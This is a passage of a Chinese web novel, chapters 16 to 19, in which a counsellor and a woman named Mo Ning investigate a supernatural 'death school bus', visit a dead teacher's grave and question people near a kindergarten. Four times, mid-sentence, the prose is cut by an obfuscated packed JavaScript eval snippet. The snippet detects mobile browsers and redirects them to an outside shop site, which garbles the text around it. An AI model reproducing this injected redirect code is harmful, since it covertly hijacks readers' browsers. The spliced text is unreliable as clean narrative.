柳南絮火更大了,嘲讽道:“什么刘哥,那是我刘哥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187526|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,和你有半毛钱关系没?你和人才第一次见面,他还比你大那么多,你……”
“哎哎哎!”刘景伸出手上下来回摆着,打断正说得起劲儿的柳南絮,“别人身攻击,什么叫‘他还比你大那么多’?你还别不服气,在现在的小姑娘眼里,我这个年纪,正是最吃香的时候。”
柳南絮无视刘景,甚至把他反驳的话又重复了一遍,感觉就像是在故意在和他作对一样,对着莫宁说:“他比你大那么多,人都明显懒得搭理你,我看你就是想套近乎,是不是又想从人身上捞好处?”
莫宁一点都不恼,淡定地把话扔回去。
“在你没礼貌闯进来之前,我和刘哥正聊得开心呢!你哪只眼睛看出他不想理我了?柳老师说说看,我想捞什么好处?”
在听到莫宁说“柳老师”这三个字后,柳南絮的头再次疼了起来。
疼痛感密密麻麻的,仿佛有千万根针在脑子里面乱扎。
疼痛中,柳南絮推翻了昨天晚上的结论,应该就是一旦听到莫宁这样喊他,自己的头就会疼。
那个感觉有点熟悉,在很遥远之前这样称呼过他的声音,难道……真的是莫宁?
所以,这到底是为什么?
谜团不仅一个都没有解开,反而还在不停地累积。
柳南絮的心情更加糟糕了,然而莫宁这个脱不了干系的人,竟然只是侧身坐在那儿,看着自己淡定地喝茶。
“还喝,这都几点了?吃不吃饭了?”
莫宁仿佛终于想起来自己为什么会跟来心理咨询工作室,放下茶杯同刘景道谢,还掏出手机要加联系方式。
刘景看着柳南絮,做出去电脑桌前拿手机的动作,人还没从沙发上离开,就听见柳南絮话锋刺了过来。
“刘哥,你别忙活了,要是平时实在闲得没事干,我看你这办公室地方还挺空的,”柳南絮说着,抬手指向一处放有盆栽的墙角,“在这里置办个跑步机,锻炼锻炼身体,再不济出去多社交社交,别荒废了这个最吃香的年纪。”
刘景“嘿”了一声,而后心想:感情说的话他都听见了,就是故意在和我作对。
他估摸着,今天要是敢加莫宁的联系方式,明天柳南絮就敢出去另立门户。
身为老板,并不想放走一个看起来有很多秘密,但兢兢业业的好员工,所以坐着没再动。
莫宁识趣儿地收回手机,跟着柳南絮去吃饭。
办公室的门没关,刘景竖起耳朵留意楼下的动静,他觉得,李乐估计也会被数落一顿。
果然,不出几秒,柳南絮的声音再次响起。
“李乐,让你在一楼看住个人,人怎么就跑二楼去了?”
李乐瞬间就被问懵了,连正在看的电视剧都忘了暂停,看看柳南絮,看看莫宁,再看看柳南絮,满脸的无辜。
莫宁扯了一下柳南絮的衣服,说:“不是,是我自己上去的。”
16. 第十六章
今天外面虽然风大,但是出着太阳,并不冷。
现在柳南絮摆着一副见谁怼谁的样子往这儿一站,一楼的室内温度瞬间降了几个度。
好在,刘景出来解围了,就是手里还端着一杯茶,显得多少有些不着调。
“小李呀!收工,老板我心情好,请你吃午饭。”
听见有这种好事,李乐的心情瞬间变好,问:“真的吗?那我可就随便点了。”
刘景遥举了一下茶杯,说:“就是把你想吃,但是觉得贵的都点一遍也没问题。”
这话真是说到李乐心坎坎里面了,她从来没有觉得自家老板原来是一位如此英明的人。
刘景开心了,李乐开心了,柳南絮更不开心了,用力拉开玻璃门头也不回地离开,莫宁只好连忙追上。
刘景目送着柳南絮,悠悠开口道:“别说,我还是头一次见小絮反应这么大,他的脸上居然能这么精彩,你说,小絮的脸要是每天都能这么精彩,那这间工作室该有多热闹。”
这里除了说话的刘景,就剩下李乐了,所以话中的“你”自然指的就是李乐。
李乐顺着刘景的目光看出去,原本停在那里的车早就不见了,心想:确定是热闹,不是秒变冰川?快到夏天了,感情你是想省电费吧?
看了个寂寞,李乐收回目光,觉得自家英明的老板一定是脑子里面哪根筋搭错了。
“对了对了,”刘景提醒李乐,“你赶快想想吃什么,想好了帮我订一份一样的就行,一共花了多少钱发个消息,我转给你,我先去办公室处理点事,不然下午真要忙不过来了。”
刘景说完就要往楼上走,李乐扬声说了声:“好。”
柳南絮说是带莫宁去吃饭,结果直接把人带到了家里。
许静和柳洪兵正在吃饭,看见他们进来脸上露出意料之外的表情。
往常柳南絮除了周二休息的时候在家吃午饭外,其它时间都不回来吃午饭的,所以为了避免剩饭,在柳南絮工作的日子许静都不会做他的午饭。
今天难得回来,竟然还把莫宁也带来了。
柳洪兵端着瓷碗,先开口问:“回来吃饭的?”
许静在他问完后立刻往厨房进,想看看还有多少饭。
“不是不是,我不是来蹭饭的,是……”莫宁看了柳南絮一眼,扯谎道,“我昨天把东西落下了,柳南絮说他收起来了,所以我俩就来取东西。”
柳南絮大步向前陪她演戏,莫宁跟在他身后进了书房。
厚重的窗帘拉着,哪怕阳光尽可能地往书房钻,房间还是昏暗昏暗的。
柳南絮进去后没有上前拉开窗帘,而是选择了打开灯。
为了不显得那么刻意,莫宁只是顺手推了一下书房的门,并没有关严。
柳南絮沉默地看着莫宁,心里知道她为什么要那样做。让他自己都不明白的是,在心理咨询工作室的时候,明明有更恰当的处理方式,怎么偏偏选择了最冲动的那一种呢?
莫宁习惯性地打量了一下书房,也不知道是不是错觉,感觉这间屋子的装修风格特别压抑,和走温馨风格的客厅有着极大的反差。
视线移动着移动着,就落到了柳南絮的脸上。
眼前的人面无表情的,莫宁回想到了柳南絮面对来访者的样子,她突然想问问柳南絮,皮囊下的灵魂,在为什么事自责?
但这种想法也仅仅存在于那一瞬间。
和柳南絮错开视线,莫宁转了个身,走到书架前扫视上面的书籍,解释说:“我就随便看看,这屋子,你自己装修的?”
柳南絮没张嘴,只是用喉咙应了一声:“嗯。”
这间书房本来是许静装修的,后来柳南絮毕业回来工作后多数时间都是他在用,在布置咨询室的时候,他顺便把这间书房重新装修了一遍。
咨询室的装修明亮阳光,家里书房的装修却选用了暗色调。
两间屋子都出自他一人之手,但前者是为了来访者,是为了工作,后者是为了……
柳南絮也不清楚了,是为了自己吗?
反正,他就是按照想法这样装修布置了。
得到肯定的回答,莫宁的心情开始变得有点难受。
柳南絮拿上记录死亡校车的笔记本,终于开了口。
“东西拿上了,走吧。”
柳南絮在莫宁开口说话之前已经率先关了灯,莫宁站在暗处,忙道:“哦!好。”
许静为了留意外面的动静,特意没有开油烟机,听到柳南絮说要走,扭着脖子冲着书房喊:“哎!大中午的,不吃了饭再走吗?我这边水都烧开了,快得很。”
莫宁停下脚步,乖乖解释:“许阿姨,我们是吃了饭才来的,真不用了,您就别忙活了。”
许静拿着一把正要往锅里下的挂面追出厨房,瞅了眼时间说:“这才几点,你们怎么可能吃过饭了?”
“妈,我还有事要赶着处理,就先走了。”柳南絮说话的功夫已经走到了楼道里,头顶的声控灯随着他说话的声音由灭变亮。
听到柳南絮说有要紧事,许静没硬要人留下吃了饭再走,只是当屋子变得尤为安静后关了火,从厨房里走到书房门口,拉开门站在外面往里面看。
柳洪兵把还没看几句话的报纸叠起来丢到沙发上,走到许静身边,安慰道:“咱儿子那么聪明,不可能一直这样的。”
许静看着书房,里面的氛围让她忍不住叹了一口气,说:“他是很聪明,但是也犟,你还记不记得,儿子在沙发上睡着的那次,他醒来我看着他的眼睛,里面都是悲伤。”
自从上了小学以后,柳南絮除了在家里自己的卧室睡觉,从来没有在别的任何地方睡过觉,大学四年除外。
在小学、初中、高中的时候,大家都在午休,只有他全程看书,就算是“小眯一会儿”的情况也没有出现过。哪怕是在家里,他处在卧室外的地方也都是醒着的。
但是在他二十二岁生日
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187527|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候,出现了例外。
因为是周二,许静和柳洪兵都上班去了,只有柳南絮一个人在家休息。
那天许静上完课后被班里的学生拦下问了几道题,之后又被临时通知开会,所以回家有点晚。
柳洪兵倒是按时下的班,所以照着许静发来的短信到菜市场买好菜回家给儿子过生日,一拉开门,便看见柳南絮竟然歪斜在沙发上睡着了。
柳洪兵起先没有当回事,直到许静从学校回来,见柳南絮睡在沙发上觉得稀奇,顺嘴问了句。
柳洪兵低头择着菜,说在他回来的时候就这样了,想着儿子工作那么辛苦,就没叫他,让他先睡着。
许静觉得柳洪兵说得在理,直到做好了一桌子菜才喊柳南絮吃饭。
柳洪兵摆着碗筷喊了几声都没得到回应,之后上前拍着喊还是没应。许静把最后一盘菜放到餐桌上也上跟前喊了喊,别说应了,沙发上歪着的人动都没动一下。
两人心里渐渐生出不好的想法,探了探呼吸,没什么问题,最后叫了救护车,拉到医院医生说柳南絮只是太困,所以睡着了。
许静和柳洪兵不放心,硬是给柳南絮做了一系列检查,报告出来后见没什么问题才把人带回家。
次日,柳南絮照常醒来,照常上班,状态看起来像什么都不知道一样,许静和柳洪兵也就一直没在他面前提过这件事。
柳洪兵顺着她的话往下问:“那你觉得,咱儿子可能会因为什么伤心?”
许静一把关上书房的门,烦躁地往沙发处走,说:“就是想不明白到底是因为什么,我才担心的嘛!咱儿子性子虽然冷淡,但是和现在这种状态根本不一样,真是奇怪,我那么好一儿子,怎么突然变得就像丢了魂儿似的?”
许静在家里担心得要命,柳南絮和莫宁在外面鬼鬼祟祟地跟踪别人。
现在道路还相对比较顺畅,柳南絮开着车,时刻和左前方的一辆黑车保持一定的距离。
车窗外的风景平稳地向后退去,莫宁忍不住问道:“你就不问问我为什么让你跟上那辆车?”
黑车打了个左转的指示灯,柳南絮变换车道也打上,说:“他们是那位女老师的家属。”
兴许是柳南絮的语气太过理所当然,莫宁瞟了一眼他,问:“你怎么知道?”
“你表现出来了。”
柳南絮回答完,莫宁就没有再说话了。
过了好一会儿,又听到柳南絮说:“故意演给我看的?”
柳南絮说话的语气不像是在明知故问,或者嘲讽什么,倒像是真的因为不知道才问的。
莫宁实在是饿了,不想和他掰扯,接下话回:“是啊!这样我也不用解释那么多了。”
十五分钟之前,他们本来是要去吃饭的,停好车还没进到饭馆里面,莫宁大老远就看见上午在万寿园见过的那对夫妻从花店出来,女方怀里还抱着一束花,便立刻拽着柳南絮跟上,见他们开车上路,他们也开车跟上。
17. 第十七章
跟着黑车七拐八绕好一通,最后在全健福利院门前停下。
为了避免被发现,柳南絮把车停得离黑车很远,也没有下车的动作,只是眼睛落在那边观察。
莫宁做着解安全带的准备,问:“不下车吗?”
柳南絮没看她,但回答道:“要进这家福利院需要提前预约,下了车也进不去。”
远处的那对夫妻忙活着把后备箱里面的东西都搬出来后,男方掏出手机打了个电话,没过一会儿,福利院的大门就打开了。
一位看起来应该是院长的女人带着几名志愿者走上前迎接,之后连人带东西全都进了院内。
福利院的大门再次关上后,柳南絮收回了视线,问:“你现在有什么想法?”
莫宁想了想,分析道:“就像你说的那样,我们没有预约,就算过去了也没用,之前我也没有想到目的地会在这里,什么准备都没有,万一再撞上女老师的家属,他们要是认出我,把上午的事告诉了院长,咱俩肯定会被提防,之后要想进去怕是会更难。”
这些话句句在理,柳南絮看了一眼时间,莫宁跟着也看了一眼,说:“所以我们现在去万寿园吧!你上午走得太着急,相当于白跑一趟,趁现在有时间赶紧过去,我有新消息和你分享。”
柳南絮重新启动车子,打着方向盘说:“既然新消息都愿意和我分享,顺带把旧消息也一道和我分享了算了。”
“柳南絮,多年不见,你这人变得够贪啊!缺点又多了一个。”
莫宁嘴上漫不经心开着玩笑,心里却一个劲儿地在想:好饿好饿好饿。
想着想着,就慢慢睡着了。
等车子停下后,莫宁悠悠转醒,发现所处的位置并不是万寿园,不明所以,问道:“这不是还没到吗?怎么停下了?”
“我饿了,你不饿?”柳南絮说完,自顾自下了车。
在驾驶位那边的车门关上的同时,莫宁的肚子“咕噜噜”地叫起来,她忙不迭地按了按肚子,明显不好意思。
柳南絮隔着车窗见她还没准备下来,抬手敲了敲玻璃。
“快点,我请客。”
“哦!好。”莫宁回答完,见柳南絮转过了身背对自己,再装不成没事儿人,露出十分难受的表情。
莫宁知道这种难受并不是由饥饿引起的,她猜测,多多少少会和柳南絮有关系。
因为自从昨天遇到柳南絮后,她感觉自己很容易疲惫,稍微一放松警惕就会睡着,睡着醒来还会出现眩晕的不适感。不过,心里对死亡校车的恐惧感倒是在呈直线下降。
在遇到柳南絮之前,莫宁尝试过许多办法,听起来靠谱的、不靠谱的她都尝试了,可是没有用,哪怕是吃药逼迫自己睡着后,在模糊的意识中依旧摆脱不了恐惧。
莫宁不太相信这个世界上会有那么多巧合的事情发生,无论是柳南絮在昨天那场浓雾中才看见死亡校车,还是死亡校车影响自己的程度骤然发生转化,一定都存在着关键点。
只是她还没弄清楚“关键点”在哪里罢了。
莫宁揉了揉太阳穴,逼迫自己快速从眩晕中恢复,在柳南絮再次转身催促她之前下了车。
午饭吃到了下午一点多,二人为了节省时间吃得都很赶。
万寿园是临平市内占地面积最大的公墓,所以几乎每天都有人来,一直不算冷清。
出于礼貌,柳南絮入园之前买了七朵一束的白菊花带上。
站定后,通过墓碑,柳南絮第一次知道了女老师的名字,宋彩彩。
上面的照片里,年轻的姑娘笑得阳光温暖。
能露出这种笑容,想必生前很幸福。
墓碑上面的去世日期在六月下旬,一年又一年的毕业季。
墓碑前满满当当的,估计是家属上午摆放的。不便冒犯,柳南絮把手里的花放在了最外围。
无言站了一会儿,柳南絮和莫宁找了个没什么人经过的台阶处坐下。
二人背后是绵长的台阶,右边是枝叶茂密的柏树林。
风渐渐变弱,温柔地吹着,就像是在安抚悲伤的人们。
终于,莫宁开口说话了。
“我上午无意间在这里碰到宋彩彩的父母,上前本来是想打探点消息的,结果没想到我刚撒谎称自己是宋彩彩的同事,宋彩彩的父母就生气了,他们说宋彩彩根本就没有参加工作,大学毕业回家的路上就去世了,我觉得不对,往下打听,还没开口,宋母就情绪激动地骂我是骗子,问我到底有什么图谋。”
里面肯定是有不对的地方,柳南絮听完反倒是问了别的。
“你为什么会来这里?”
刚才莫宁跟踪宋彩彩的父母是因为见过了,知道他们和宋彩彩的关系。
那上午呢?
在这之前,柳南絮认为莫宁并不知道女老师的名字,哪怕是在哪里听到有人提起这个名字,她怕都不会有什么反应,所以肯定不会也是跟着来的。
“我也不知道,早上睡醒后莫名不想去上班,请了假随便上了一辆公交车四处瞎转,也不知怎的,瞧这里风景好,就在这里下车了。”
莫宁说这话的时候托着腮在看台阶最下面的大门,那里时不时有人经过,或进来,或离开。
柳南絮从她身上看到了浓重的沮丧,却不明白为什么会从莫宁身上看到这种情绪。
难道是因为所处环境导致的?
其实要说实话,柳南絮发现自己随着相处时间的增加,已经无法笃定地判断出莫宁的内心了。
就比如莫宁没提黑车上的人和宋彩彩的关系,却又表现得那样明显,到底是不是演给他看的,柳南絮是真的不知道。
现在,他也只能猜测莫宁身上的沮丧是因为受到了所处环境的影响。
见身旁的人没反应,莫宁打趣儿地问:“怎么,不相信我?”
“信。”柳南絮说完还点了点头,他很少会这样,“你还想说什么?”
莫宁低头扯着衣角玩,直到衣角都变皱了,才说:“我是在替宋彩彩难过,她那么勇敢惨烈地牺牲后,居然连父母都不记得她真正离世的原因,我就是觉得不明不白离开会有点委屈。”
柳南絮想和她说,从来就没有不明不白的离开,实情没有被人所知只是因为还不是时候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187528|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所以不用觉得委屈。
这些话之所以没能说出口,是因为他听到了莫宁下面的问题。
“柳老师,你说,要是哪天我这么惨烈地牺牲了,原因也会变得不明不白吗?”
柳南絮适应能力很强,他已经能够把因为莫宁这样称呼自己带来的疼痛很好的隐藏起来了。
但,这次他不舒服的地方不仅仅是头部,还多了一处心脏。
伤心如同海啸奔涌而来,很快就把他淹没掉。
柳南絮在一望无际的海水中扑腾、挣扎,用理智判断着上岸的可能性,最终惨兮兮地得出一个结果——归零。
万寿园的空气充足,柳南絮只感觉自己要被压得喘不过气了,他藏起微微颤抖的右手,看向莫宁,回话:“不会。”
莫宁从地上捡了枝柏树叶,追问:“你肯定吗?”
柳南絮用左手夺过莫宁手里的柏树叶,往柏树林里用力一扔,回答:“我笃定。”至少我会记得。
“有你这句话,我就放心了。”
莫宁坐着伸了个懒腰,之后整个人身上再没有沮丧的样子,认真地和柳南絮往下讨论。
“昨天晚上我回家之后总结了一下,发现很多事情都产生了不对的地方,比如你不记得我了,比如许阿姨和我妈妈之间没了联系,比如我一称呼你……”
莫宁看了柳南絮一眼,顿了顿,略过称呼往下说:“你就会不舒服,这点我也不知道是什么原因,因为我的记忆里并不存在相关的片段。”
在莫宁进行分析的时候,柳南絮在软皮本子上做记录,没抬头,应了一声:“嗯!”
“现在又多了一个,就是为什么宋彩彩离世的原因会在她父母的记忆中发生了改变。”莫宁等柳南絮写完停下笔,才说出了自己的猜测,“我认为这些答案,都会和死亡校车有关,我们只要弄清楚了死亡校车的由来,估计一切就可以恢复原样了。”
莫宁的猜测,柳南絮持保留态度,问:“你研究死亡校车的时间比我研究的时间长,你觉得从什么地方入手比较好?”
“我们要先通过蛛丝马迹掌握到更多的信息,尽量找到所有存在偏差的地方,总结一下,然后……然后……”莫宁顺着自己的思路往下分析,直到卡壳答不上来。
柳南絮往前翻了几页,翻到他分析问题的那一页,用笔尾圈着那些问题,说:“我现在想知道这些问题的答案,我也不逼你,你挑着说,想告诉我什么就说什么。”
上午见到莫宁和刘景聊天,柳南絮终于意识到她不愿意把线索毫无保留分享给自己的真正原因。
莫宁不是在装或者隐瞒什么,而是想要让手里抓着些什么,从而来保证自己的价值,来减少自己在接下来的调查中被遗忘在外的可能性。
想想也是,她独自一个人背负了那么久,哪怕之前是一个无比有安全感的人,也会被恐惧影响到丧失这点。
但是要想缩短调查的时间,就必须线索互通。通过昨天的相处,柳南絮知道逼迫莫宁没什么用,所以选择了这种以退为进的法子。
莫宁把那些问题挨个看了看,掏出手机点开一张图片。
18. 第十八章
图片是做过叠加图层处理的,下面是临平市的局部地图,中心点是太阳花幼儿园,颜色很淡。上面则是用红色的笔画了一条路线,还在太阳花幼儿园和南巷街两处地方着重涂了一个实心圆做标记。
“这是死亡校车所走的路线图,”莫宁摆弄了几下手机,“发送给你了。”
柳南絮给的这五种选择在莫宁眼里,就跟只有一种一样,除了第一个她知道外,其余四个,她毫无头绪。
柳南絮打开手机仔细看了一下路线图,发现途经的小区离学校都不算远,校车一般都会先送离得近的学生,先接离得远的学生,再根据死亡校车上面并没有坐满几乎可以推定出,那应该是事件发生当天接的最后一趟学生。
只是发生了这么大的事,为什么太阳花幼儿园像是没有受到任何影响一样?
到底是校方后续处理得非常完美妥当,还是大家并不仅仅忘了女老师宋彩彩真正离世的原因,而是因死亡校车事件受害的所有人的真正离世原因都被改写了?
死亡校车的存在本身就已经够离奇了,其中参杂些不可思议的事反倒正常。
所以,柳南絮更倾向于后者。
见柳南絮想得入神,莫宁看了一眼时间,提醒他道:“你下午几点上班?再过几分钟就下午两点整了。”
“两点半上班。”柳南絮说完,也问,“你呢,下午有事吗?”
“我请了一天的假,下午没什么事。”莫宁知道柳南絮这样问肯定有事,说,“你要是想调查什么,但是脱不开身,我可以去。”
柳南絮确实有事要交给莫宁去办,开口之前,突然想到了什么,说的话也就变成了别的。
“我忘了问,死亡校车既然是出发接学生的,那你见过学生上车吗?知道校车都在哪个站点停留过吗?”
莫宁回答得很快,想都没有想就说:“没有停留过,学生是在到达南巷街凭空出现在车里的。”
于是柳南絮又问了:“下一次死亡校车会在什么时候出来活动?”
这次提出问题后,莫宁没有立刻回答。
她需要时间思考,权衡利弊。虽然知道柳南絮早晚能找到死亡校车出动的规律,但是她看天气预报,至少十五天内不会再起雾。也就是说,如果不告诉柳南絮,至少可以钓他十五天。
如果告诉柳南絮这一条关键信息,手里本就寥寥无几的线索会变得更少了。
“没事,你不想说就不说了。”柳南絮按亮手机看了一眼时间,站起身表示该回去了。
莫宁从台阶上站起来后观察了一会儿,她不确定柳南絮生没生气,追上去也没敢随意开口说话。
车抵达心理咨询工作室的时候,莫宁解开安全带,听到柳南絮主动寻求帮助。
“如果你有时间,帮忙调查一下太阳花幼儿园校车接送学生的时间,以及路线,调查的时候不要提到事件的任何相关字眼,我们手里面的信息太少,我觉得最基本的线索还没有找全,你注意些,如果可以,尽量不要被任何人记住脸。”
“好的,我知道了,保证完成任务。”莫宁得到任务开心了不少。
她人都已经下车了,柳南絮摇下车窗突然把人又喊住。
“莫宁。”
莫宁还以为柳南絮有话没交代完,绕到驾驶座这边,问:“怎么了?”
柳南絮对上莫宁的眼睛,问:“凭你对我的了解,觉得我抛下说了合作的人可能性大吗?”
莫宁知道柳南絮为什么会这样问,犹豫了一下,还是实话实说,道:“不大。”
柳南絮对莫宁的回答不满意,更正说:“不是不大,而是根本没有这种可能,你或许觉得我提出合作只是随口一说,或许会觉得我是为了骗取你知道的信息,但是我们的目的是一样的,所以你必须要信任我,同样,我也会信任你,你说的那些小时候的事,我相信了。”
“好,”莫宁神色动了动,又补充说,“我尽量。”
这招效果不错,柳南絮客客气气地说:“祝你调查顺利,有事随时联系。”
直到莫宁独自走远后,柳南絮才下车。
心理咨询工作室一楼,除了坚守在岗位上的李乐,还多了一个人。
柳南絮拉开门,那人立刻凑过来打招呼,还递给他一个手提袋。
柳南絮接下袋子,面无表情地问:“你现在连年假也休完了,接下来可以专心工作了吗?”
赵安梦顿时拉下脸,苦大仇深似地说:“柳老师,你也知道我一工作就头疼,要是人人都能像你这么热爱工作,人与人之间的差异性至少要减掉一半。”
“你尽快坐班,你休假这几天都是刘哥顶着你的工作。”柳南絮一边说着一边往楼上走,说完后人已经消失在了转角处。
赵安梦习以为常,和李乐扯了几句也上楼回到自己的办公室里面。
柳南絮到二楼后并没有回自己的办公室,而是来找了刘景。
刘景当时在写来访记录,手边还放着没吃几口的午饭,柳南絮也没出声,坐在沙发上耐心地等着。
两点四十分,刘景停笔,把文件夹妥善保管好后坐到了柳南絮面前,上来就一句:“稀客呀!”
柳南絮没理他的打趣儿,开门见山直接问道:“你找莫宁干什么?”
刘景没想到柳南絮会问得这么直接,反问:“你为什么不问她?就不怕我骗你?”
虽然不知道刘景找莫宁的原因,但是相比起莫宁,柳南絮还是比较相信刘景说的话。
“我有那么不信学长说的话吗?”
刘景点点头,不得不承认,说:“这倒也是。”
刘景和柳南絮对于“谎言”的态度不太一样。
柳南絮一般情况下懒得撒谎,因为没必要,只有在处理对自己极为不利的情况时可能会用这种手段。
而刘景这个人信奉那句“撒一个谎言,就要用无数个谎言来圆”,所以他根本不会撒谎,这次也一样。
“你不用紧张,我没想和你之间的关系再多一个‘情敌’,我找她是想问问你为什么会选择当心理咨询师。”
柳南絮想反驳刘景前面的话,可是又觉得麻烦,只问:“她怎么说?”
“简单来说,她不知道。”刘景趁机问,“所以你为什么会选择干这一行?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187529|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我看你每天工作这么有精神,就像心里面憋着一股劲儿。”
良久,柳南絮丢出了五个字。
“我也不知道。”
“小絮……”
刘景刚喊完,隔壁响起了敲门声,二人之间的谈话到此结束。
柳南絮离开后,刘景微微叹了一口气,把眼镜去掉,靠在沙发上闭目养神。
他相信莫宁说的不知道,同样也相信柳南絮说的不知道。
关于柳南絮,刘景原本是不想掺和他这么多事的,只是随着工作时间的累积,柳南絮身上的沉重感越来越明显。
刘景担心柳南絮再继续这样下去人会垮掉,所以想尽量帮帮他,但是柳南絮不是很听劝的人,只能见缝插针地用话刺激他一下。
这几天刘景好好回忆了一下,他和柳南絮初次见面的时候在读研一,被人拿着一本资料书找上的时候,正在回复导师邀请同去听讲座的消息,所以他第一反应是拒绝柳南絮,没想到柳南絮这人太执着了,只好婉拒导师的邀请,“日行一善”帮大一新生的学弟答疑解惑。
起先刘景并没有多么欣赏柳南絮,只是讨论了一会儿便发现柳南絮对所读的专业有着浓重的热情,并在接下来的聊天中注意到柳南絮身上很强的原则性。
他到现在都不得不承认,那个时候的柳南絮身上有着不可限量的未来。
转变发生在什么时候呢?
如果没记错的话,他应该是在研二上学期的时候,同一个时间线,柳南絮是在大二的上学期。
想到这儿,刘景从思绪中抽离出来,睁开眼摸出手机后,开始翻找和柳南絮的短信记录,他记得有几天柳南絮发了一些不知道在指向着什么的短信。
这么多年过去了,手机早就换了好几个,刘景还没翻几下就到了头。
当年的短信记录没能保存下来。
刘景又变成闭目养神的状态,开始凭借模糊的记忆回想,隐隐约约中他想起几个字眼。
大概是因为和专业对应,首先想到的就是“创伤后应激障碍”。
之后就是什么浓雾、小孩子、重大社会新闻……
刘景收到这些短信后追问了,但是柳南絮却没有再回复,之后二人见了面,柳南絮也没再提起过短信的事,刘景更不好提了,只是觉得柳南絮的身上开始背负着什么。
不过他当时背负的东西不像现在背着的这么重,这种情况,要么就是当年发生的事一直在柳南絮心里发酵,滚雪球一般地滚成现在这个样子,要么就是后来又发生了什么,导致情绪累积却无法发泄。
刘景估摸了一下年份,是在五年前,然后坐到电脑前上网查找那个时候因为天气引发的轰动性社会新闻。
一无所获,并没有什么重大事件发生。
丢开手机,刘景起身走到窗边望向马路,心想:你心里面放不下什么呢?或者说,你是对谁心里有愧?
不论是快速疾驰而过的车辆,还是懒懒散散的行人,亦或是枝头摇曳的叶子,都无法解答刘景的疑惑。
如果不是隔壁有人敲门打断了对话,刘景差一点就把最重的话说出来了。
19. 第十九章
在那一声略带着点套近乎的称呼后面,他是想打算说“你在赎罪”这句话的,现在刘景不免庆幸没能说出口。
办公室的座机响了,震得放在窗台上的盆栽都打了个颤。
刘景接通,是赵安梦打来的,安排了一位新的来访者给他。
有了工作,刘景把吃剩的午饭放进抽屉里,又迅速把桌面收拾了一下,最后收起与工作无关的思绪,专心接待来访者。
莫宁得了任务,守在商场的电动车停放区域内暗中观察。
这里位于太阳花幼儿园的斜对面,不容易被人察觉出异样。直到校门前渐渐聚满家长,莫宁才开始行动。
由校车接送的学生和由家长接送的学生上下学时间是不一样的,校车载着满满一车学生从身旁开走的时候,莫宁看了一眼时间,四点刚过。
校门缓缓关闭,莫宁开始见机行事,目光扫视了一圈,刚挑准一位年轻的妈妈要开口,左边的肩膀被人碰了碰。
莫宁望过去,是一位奶奶,手里还推着买菜用的小推车。
奶奶乐呵呵地先开口,问:“小姑娘,你也是来接孩子的?这么小的年纪,就有孩子了?”
莫宁反应很快,扯谎回答:“我表姐的孩子,她和表姐夫都忙,让我来帮忙接一下。”
“难怪瞅着你面生。”奶奶乐呵呵地说,“我儿子和儿媳也是忙,现在年轻人的压力实在太大了,比我们那个时候还要不容易,不过这样一来,我这个当长辈的正好有了用处。”
莫宁当即放弃从挑好的年轻妈妈入手,改成看起来比较容易点的奶奶。
“就是说嘛!我家除了我表姐和表姐夫外没人了,要不是我这段时间过来玩,您说说,孩子可该怎么办?让他一个人在学校等着怪可怜的,让他自己回家又不放心,我表姐整天给我念叨,说现在总算明白有一位体谅人的长辈是多么重要。”
奶奶心善,听了连忙给出主意,说:“哎!你和你表姐说说,走校车接送呗!一学期下来花不了多少钱的,就当图个省心。”
莫宁怀着顾虑,问:“我表姐之前也想过,但是又不确定校车安不安全,毕竟‘黄鼻子’校车还多少年,这又是她第一个孩子,每时每刻都紧张得很。”
奶奶看莫宁的眼神更像是在看小孩子了,说:“怎么会不安全呢?这所学校的校车从开始到现在,没出过一次事。”
许是怕莫宁怀疑自己在做什么宣传,掏出手机摆弄,还说:“你等等,我找找那条新闻。”
这种情况,奶奶要找的新闻多半是关于太阳花幼儿园的,莫宁也不催促,乖乖等着。
“哎哎哎!可算是找到了,我就说我没记错,当时我还点赞收藏了。”奶奶把手机递到莫宁面前,说,“这是去年每所幼儿园校车道路违章的情况,临平市官方发布的,凡是没有一次违章情况的都提出了表扬。”
